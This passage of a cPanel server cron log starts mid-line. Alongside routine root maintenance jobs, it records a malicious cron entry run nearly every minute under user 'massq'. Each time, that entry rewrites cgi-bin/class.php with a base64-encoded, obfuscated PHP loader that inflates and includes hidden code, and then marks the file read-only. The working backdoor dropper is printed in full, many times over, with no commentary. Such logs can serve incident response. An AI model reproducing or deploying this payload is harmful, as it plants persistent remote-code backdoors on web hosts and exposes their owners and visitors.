yLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:12:01 server CROND[14343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:12:01 server CROND[14346]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 02:12:01 server CROND[14344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:12:01 server CROND[14345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:13:01 server CROND[14734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:13:01 server CROND[14735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:13:01 server CROND[14736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:14:01 server CROND[15135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:14:01 server CROND[15136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:14:01 server CROND[15137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:15:01 server CROND[15618]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 02:15:01 server CROND[15621]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:15:01 server CROND[15620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:15:01 server CROND[15626]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 02:15:01 server CROND[15625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:15:01 server CROND[15623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:15:01 server CROND[15624]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 02:15:01 server CROND[15628]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 02:15:01 server CROND[15619]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:16:01 server CROND[16487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:16:01 server CROND[16489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:16:01 server CROND[16488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:17:01 server CROND[16874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:17:01 server CROND[16875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:17:01 server CROND[16876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:18:01 server CROND[17258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:18:01 server CROND[17259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:18:01 server CROND[17260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:19:01 server CROND[17702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:19:01 server CROND[17703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:19:01 server CROND[17704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:20:02 server CROND[18190]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 02:20:02 server CROND[18196]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 02:20:02 server CROND[18199]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:20:02 server CROND[18203]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 02:20:02 server CROND[18204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:20:02 server CROND[18207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:20:02 server CROND[18202]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 02:20:02 server CROND[18206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:20:02 server CROND[18205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:21:01 server CROND[19034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:21:01 server CROND[19035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:21:01 server CROND[19036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:22:01 server CROND[19415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:22:01 server CROND[19417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:22:01 server CROND[19416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:23:01 server CROND[19810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:23:01 server CROND[19811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 